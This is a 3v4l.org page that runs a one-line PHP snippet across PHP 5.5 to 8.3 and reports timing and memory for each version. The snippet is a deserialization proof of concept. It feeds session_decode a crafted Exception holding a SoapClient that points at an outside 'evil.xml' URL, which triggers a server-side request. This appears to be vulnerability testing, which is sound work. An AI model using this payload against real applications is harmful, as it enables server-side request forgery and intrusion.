3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); session_decode('test|O:9:"Exception":1:{S:19:"\00Exception\00previous";O:10:"SoapClient":3:{S:3:"uri";S:0:"";S:8:"location";S:35:"http://karmainsecurity.com/evil.xml";S:13:"_soap_version";i:1;}}'); var_dump($_SESSION);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0040.01518.31
8.3.60.0110.00716.50
8.3.50.0130.01021.28
8.3.40.0070.00718.76
8.3.30.0070.00718.84
8.3.20.0030.00520.52
8.3.10.0080.00021.80
8.3.00.0080.00023.54
8.2.190.0070.00717.00
8.2.180.0090.00616.75
8.2.170.0140.00022.96
8.2.160.0200.00020.35
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0030.00619.63
8.2.120.0000.00726.35
8.2.110.0100.00022.11
8.2.100.0040.00717.93
8.2.90.0040.00419.02
8.2.80.0040.00418.04
8.2.70.0060.00317.50
8.2.60.0000.00917.68
8.2.50.0040.00418.07
8.2.40.0050.00322.27
8.2.30.0070.00019.37
8.2.20.0070.00017.65
8.2.10.0000.00718.05
8.2.00.0000.00717.91
8.1.280.0130.00725.92
8.1.270.0140.00020.20
8.1.260.0030.00628.09
8.1.250.0040.00428.09
8.1.240.0060.00318.96
8.1.230.0060.00617.77
8.1.220.0000.00817.74
8.1.210.0000.01018.77
8.1.200.0100.00017.35
8.1.190.0030.00517.23
8.1.180.0040.00418.10
8.1.170.0080.00018.64
8.1.160.0040.00420.63
8.1.150.0000.00718.78
8.1.140.0050.00319.38
8.1.130.0030.00317.60
8.1.120.0070.00017.25
8.1.110.0000.00717.35
8.1.100.0000.00717.39
8.1.90.0040.00417.33
8.1.80.0000.00717.38
8.1.70.0030.00317.24
8.1.60.0060.00317.40
8.1.50.0040.00417.43
8.1.40.0040.00417.49
8.1.30.0040.00417.45
8.1.20.0000.00717.52
8.1.10.0000.00717.53
8.1.00.0000.00717.32
8.0.300.0070.00018.77
8.0.290.0230.01316.75
8.0.280.0000.00718.39
8.0.270.0040.00416.76
8.0.260.0060.00017.09
8.0.250.0000.00716.96
8.0.240.0040.00416.99
8.0.230.0030.00316.99
8.0.220.0030.00316.82
8.0.210.0080.00016.95
8.0.200.0000.00616.83
8.0.190.0080.00416.84
8.0.180.0040.00416.86
8.0.170.0030.00616.96
8.0.160.0020.00516.92
8.0.150.0000.00816.94
8.0.140.0030.00516.75
8.0.130.0030.00613.34
8.0.120.0100.00016.88
8.0.110.0000.00716.88
8.0.100.0000.00716.86
8.0.90.0000.00816.91
8.0.80.0060.00916.82
8.0.70.0040.00416.92
8.0.60.0040.00417.03
8.0.50.0000.00716.96
8.0.30.0080.00917.05
8.0.20.0090.01017.40
8.0.10.0000.00816.95
8.0.00.0070.01616.81
7.4.330.0020.00216.71
7.4.320.0070.00016.46
7.4.300.0030.00516.46
7.4.290.0030.00316.44
7.4.280.0060.00316.43
7.4.270.0030.00316.47
7.4.260.0040.00416.34
7.4.250.0080.00016.37
7.4.240.0040.00316.50
7.4.230.0000.00716.57
7.4.220.0080.01216.56
7.4.210.0070.00716.42
7.4.200.0050.00216.45
7.4.160.0060.01016.34
7.4.150.0070.01117.40
7.4.140.0110.00817.86
7.4.130.0140.00716.51
7.4.120.0080.01216.51
7.4.110.0110.00716.51
7.4.100.0130.01116.33
7.4.90.0130.00616.50
7.4.80.0110.01219.39
7.4.70.0150.00316.50
7.4.60.0060.00916.49
7.4.50.0040.00816.35
7.4.40.0080.00916.43
7.4.30.0100.00716.49
7.4.00.0140.00314.89
7.3.330.0070.00012.96
7.3.320.0060.00013.07
7.3.310.0000.00716.12
7.3.300.0030.00316.21
7.3.290.0090.01216.15
7.3.280.0080.01216.19
7.3.270.0120.00617.40
7.3.260.0120.00616.32
7.3.250.0110.00616.29
7.3.240.0060.01416.38
7.3.230.0150.00716.39
7.3.210.0080.01016.56
7.3.200.0120.00919.39
7.3.190.0140.00316.57
7.3.180.0090.00616.23
7.3.170.0170.00016.27
7.3.160.0200.00316.31
7.3.10.0030.00616.52
7.3.00.0110.00416.71
7.2.330.0120.00916.58
7.2.320.0090.00916.26
7.2.310.0060.01216.51
7.2.300.0030.01916.55
7.2.290.0150.00916.61
7.2.130.0100.00716.56
7.2.120.0070.00316.84
7.2.110.0000.01316.82
7.2.100.0100.00316.83
7.2.90.0100.01016.48
7.2.80.0100.00816.91
7.2.70.0040.01116.70
7.2.60.0070.00516.85
7.2.50.0040.01416.91
7.2.40.0060.00916.75
7.2.30.0080.00817.00
7.2.20.0000.01416.75
7.2.10.0100.00016.84
7.2.00.0080.00717.89
7.1.250.0120.00015.63
7.1.200.0000.01215.55
7.1.100.0030.00517.94
7.1.70.0040.01416.73
7.1.60.0070.01819.27
7.1.50.0150.00016.82
7.1.00.0030.07722.40
7.0.200.0090.00616.75
7.0.100.0000.08319.87
7.0.90.0170.06719.88
7.0.80.0200.05019.83
7.0.70.0070.06319.82
7.0.60.0170.07019.96
7.0.50.0330.04320.37
7.0.40.0170.04720.09
7.0.30.0170.08320.04
7.0.20.0100.08020.04
7.0.10.0130.07320.12
7.0.00.0100.08020.09
5.6.280.0030.05320.98
5.6.250.0030.07720.41
5.6.240.0070.08320.67
5.6.230.0000.06020.51
5.6.220.0100.08020.60
5.6.210.0030.05320.43
5.6.200.0030.05721.06
5.6.190.0000.08020.93
5.6.180.0130.08321.07
5.6.170.0070.07720.95
5.6.160.0100.08021.01
5.6.150.0030.06321.06
5.6.140.0000.07020.93
5.6.130.0070.09021.10
5.6.120.0200.06321.01
5.6.110.0070.08321.02
5.6.100.0130.08020.95
5.6.90.0130.06721.05
5.6.80.0070.07720.43
5.6.70.0000.07320.54
5.6.60.0100.04320.31
5.6.50.0100.08020.55
5.6.40.0230.06720.52
5.6.30.0100.05020.52
5.6.20.0170.03720.38
5.6.10.0030.04720.40
5.6.00.0100.06720.34
5.5.380.0070.07320.39
5.5.370.0070.07720.40
5.5.360.0200.04020.34
5.5.350.0100.06720.41
5.5.340.0070.06320.90
5.5.330.0130.07320.88
5.5.320.0130.06720.86
5.5.310.0130.04320.73
5.5.300.0100.06720.82
5.5.290.0100.06320.79
5.5.280.0100.08720.90
5.5.270.0100.08020.91
5.5.260.0070.06020.76
5.5.250.0070.07020.72
5.5.240.0130.06020.29
5.5.230.0100.06720.20
5.5.220.0130.04019.99
5.5.210.0070.07020.01
5.5.200.0070.06720.18
5.5.190.0070.08020.20
5.5.180.0100.04720.21
5.5.160.0030.08720.24
5.5.150.0070.07720.09
5.5.140.0100.06320.10
5.5.130.0130.06720.27
5.5.120.0030.08320.22
5.5.110.0130.06720.20
5.5.100.0130.03720.09
5.5.90.0030.05320.06
5.5.80.0070.04320.15
5.5.70.0100.04020.14
5.5.60.0070.06320.04
5.5.50.0100.04020.07
5.5.40.0100.07720.14
5.5.30.0130.06720.04
5.5.20.0030.07319.99
5.5.10.0100.07720.08
5.5.00.0070.05320.03

preferences:
59.46 ms | 401 KiB | 5 Q